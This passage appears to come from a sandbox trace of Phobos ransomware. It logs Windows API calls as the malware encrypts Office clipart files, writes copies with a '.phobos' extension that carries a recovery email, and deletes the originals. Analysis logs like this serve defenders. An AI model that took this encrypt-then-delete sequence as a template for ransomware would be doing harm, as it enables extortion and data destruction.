pdwDataLen=0x2f9f8f8*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1f10) returned 1 [0169.614] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1f10, lpOverlapped=0x0) returned 1 [0169.616] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0169.616] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0169.616] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0169.616] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0169.616] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0169.616] CryptDestroyKey (hKey=0x1d1810) returned 1 [0169.616] CloseHandle (hObject=0x2e8) returned 1 [0169.616] CloseHandle (hObject=0x2c4) returned 1 [0169.616] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0169.618] SetEvent (hEvent=0x298) returned 1 [0169.618] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0169.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0169.619] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=17850) returned 1 [0169.619] CloseHandle (hObject=0x2c4) returned 1 [0169.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0169.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0169.620] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0169.620] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0169.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.621] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1890) returned 1 [0169.621] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0169.621] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x45ba, lpOverlapped=0x0) returned 1 [0170.038] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x45c0) returned 1 [0170.038] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x45c0, lpOverlapped=0x0) returned 1 [0170.039] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1710) returned 1 [0170.039] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.039] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0170.039] CryptDestroyKey (hKey=0x1d1710) returned 1 [0170.039] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0170.039] CryptDestroyKey (hKey=0x1d1890) returned 1 [0170.039] CloseHandle (hObject=0x2c4) returned 1 [0170.039] CloseHandle (hObject=0x2e8) returned 1 [0170.039] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0170.041] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0170.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.042] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=29212) returned 1 [0170.042] CloseHandle (hObject=0x2e8) returned 1 [0170.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0170.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.043] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.043] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0170.044] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1890) returned 1 [0170.044] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.044] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x721c, lpOverlapped=0x0) returned 1 [0170.250] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x7220, dwBufLen=0x7220 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x7220) returned 1 [0170.250] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x7220, lpOverlapped=0x0) returned 1 [0170.253] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1410) returned 1 [0170.253] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.253] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0170.253] CryptDestroyKey (hKey=0x1d1410) returned 1 [0170.253] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0170.253] CryptDestroyKey (hKey=0x1d1890) returned 1 [0170.253] CloseHandle (hObject=0x2e8) returned 1 [0170.253] CloseHandle (hObject=0x2c4) returned 1 [0170.253] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0170.255] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0170.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0170.256] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=37390) returned 1 [0170.256] CloseHandle (hObject=0x2c4) returned 1 [0170.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0170.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0170.256] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.256] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.257] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0170.257] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.257] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x920e, lpOverlapped=0x0) returned 1 [0170.372] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x9210, dwBufLen=0x9210 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x9210) returned 1 [0170.372] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x9210, lpOverlapped=0x0) returned 1 [0170.375] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0170.375] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.375] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0170.375] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0170.375] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0170.375] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0170.375] CloseHandle (hObject=0x2c4) returned 1 [0170.375] CloseHandle (hObject=0x2e8) returned 1 [0170.375] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0170.377] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0170.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.378] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=46814) returned 1 [0170.378] CloseHandle (hObject=0x2e8) returned 1 [0170.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0170.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.379] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.379] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0170.379] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d19d0) returned 1 [0170.379] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.379] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xb6de, lpOverlapped=0x0) returned 1 [0170.559] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xb6e0, dwBufLen=0xb6e0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xb6e0) returned 1 [0170.559] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xb6e0, lpOverlapped=0x0) returned 1 [0170.561] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1850) returned 1 [0170.561] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.561] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0170.561] CryptDestroyKey (hKey=0x1d1850) returned 1 [0170.561] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0170.561] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0170.561] CloseHandle (hObject=0x2e8) returned 1 [0170.561] CloseHandle (hObject=0x2c4) returned 1 [0170.562] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0170.564] SetEvent (hEvent=0x298) returned 1 [0170.564] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0170.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0170.564] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=6068) returned 1 [0170.564] CloseHandle (hObject=0x2c4) returned 1 [0170.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0170.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0170.565] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.565] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0170.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.565] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0170.565] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0170.565] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x17b4, lpOverlapped=0x0) returned 1 [0171.047] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x17c0) returned 1 [0171.047] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x17c0, lpOverlapped=0x0) returned 1 [0171.048] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0171.048] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.048] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0171.048] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0171.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0171.048] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0171.048] CloseHandle (hObject=0x2c4) returned 1 [0171.048] CloseHandle (hObject=0x2e8) returned 1 [0171.048] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0171.050] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0171.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.051] GetFileSizeEx (in: hFile=0x2e8, 